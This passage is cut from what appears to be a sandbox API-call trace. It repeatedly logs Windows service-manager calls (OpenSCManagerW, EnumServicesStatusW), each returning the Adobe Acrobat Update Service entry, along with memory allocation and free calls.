(lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297300 [0097.176] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.177] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.177] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.178] CoTaskMemFree (pv=0x744e580) [0097.178] CoTaskMemFree (pv=0x744e580) [0097.179] CoTaskMemFree (pv=0x744e580) [0097.179] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297300 [0097.179] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.180] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.180] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.181] CoTaskMemFree (pv=0x744e580) [0097.181] CoTaskMemFree (pv=0x744e580) [0097.181] CoTaskMemFree (pv=0x744e580) [0097.182] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32972b0 [0097.182] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.182] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.182] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.184] CoTaskMemFree (pv=0x744e580) [0097.184] CoTaskMemFree (pv=0x744e580) [0097.184] CoTaskMemFree (pv=0x744e580) [0097.185] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32971c0 [0097.185] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.186] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.186] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.187] CoTaskMemFree (pv=0x744e580) [0097.187] CoTaskMemFree (pv=0x744e580) [0097.187] CoTaskMemFree (pv=0x744e580) [0097.187] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297210 [0097.188] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.188] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.188] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.190] CoTaskMemFree (pv=0x744e580) [0097.190] CoTaskMemFree (pv=0x744e580) [0097.190] CoTaskMemFree (pv=0x744e580) [0097.190] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297198 [0097.190] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.191] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.191] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.192] CoTaskMemFree (pv=0x744e580) [0097.192] CoTaskMemFree (pv=0x744e580) [0097.192] CoTaskMemFree (pv=0x744e580) [0097.192] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.193] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.193] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.193] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.194] CoTaskMemFree (pv=0x744e580) [0097.195] CoTaskMemFree (pv=0x744e580) [0097.195] CoTaskMemFree (pv=0x744e580) [0097.195] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.195] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.196] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.196] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.197] CoTaskMemFree (pv=0x744e580) [0097.197] CoTaskMemFree (pv=0x744e580) [0097.197] CoTaskMemFree (pv=0x744e580) [0097.197] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32972b0 [0097.198] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.198] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.198] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.199] CoTaskMemFree (pv=0x744e580) [0097.200] CoTaskMemFree (pv=0x744e580) [0097.200] CoTaskMemFree (pv=0x744e580) [0097.200] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32972b0 [0097.200] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.201] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.201] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.202] CoTaskMemFree (pv=0x744e580) [0097.202] CoTaskMemFree (pv=0x744e580) [0097.202] CoTaskMemFree (pv=0x744e580) [0097.203] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297300 [0097.203] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.203] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.203] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.205] CoTaskMemFree (pv=0x744e580) [0097.205] CoTaskMemFree (pv=0x744e580) [0097.205] CoTaskMemFree (pv=0x744e580) [0097.205] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297210 [0097.205] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.206] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.206] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.207] CoTaskMemFree (pv=0x744e580) [0097.207] CoTaskMemFree (pv=0x744e580) [0097.207] CoTaskMemFree (pv=0x744e580) [0097.207] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297210 [0097.208] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.208] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.208] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.210] CoTaskMemFree (pv=0x744e580) [0097.210] CoTaskMemFree (pv=0x744e580) [0097.211] CoTaskMemFree (pv=0x744e580) [0097.211] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297198 [0097.211] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.212] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.212] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.214] CoTaskMemFree (pv=0x744e580) [0097.214] CoTaskMemFree (pv=0x744e580) [0097.214] CoTaskMemFree (pv=0x744e580) [0097.216] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.216] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.217] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.217] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.219] CoTaskMemFree (pv=0x744e580) [0097.219] CoTaskMemFree (pv=0x744e580) [0097.219] CoTaskMemFree (pv=0x744e580) [0097.220] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32971c0 [0097.220] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.221] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.221] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.223] CoTaskMemFree (pv=0x744e580) [0097.223] CoTaskMemFree (pv=0x744e580) [0097.223] CoTaskMemFree (pv=0x744e580) [0097.224] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.224] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.224] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.224] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.226] CoTaskMemFree (pv=0x744e580) [0097.227] CoTaskMemFree (pv=0x744e580) [0097.227] CoTaskMemFree (pv=0x744e580) [0097.227] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297198 [0097.227] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.228] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.228] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.230] CoTaskMemFree (pv=0x744e580) [0097.230] CoTaskMemFree (pv=0x744e580) [0097.230] CoTaskMemFree (pv=0x744e580) [0097.231] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.231] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.232] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.232] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.234] CoTaskMemFree (pv=0x744e580) [0097.234] CoTaskMemFree (pv=0x744e580) [0097.234] CoTaskMemFree (pv=0x744e580) [0097.235] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.235] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.235] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.235] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, 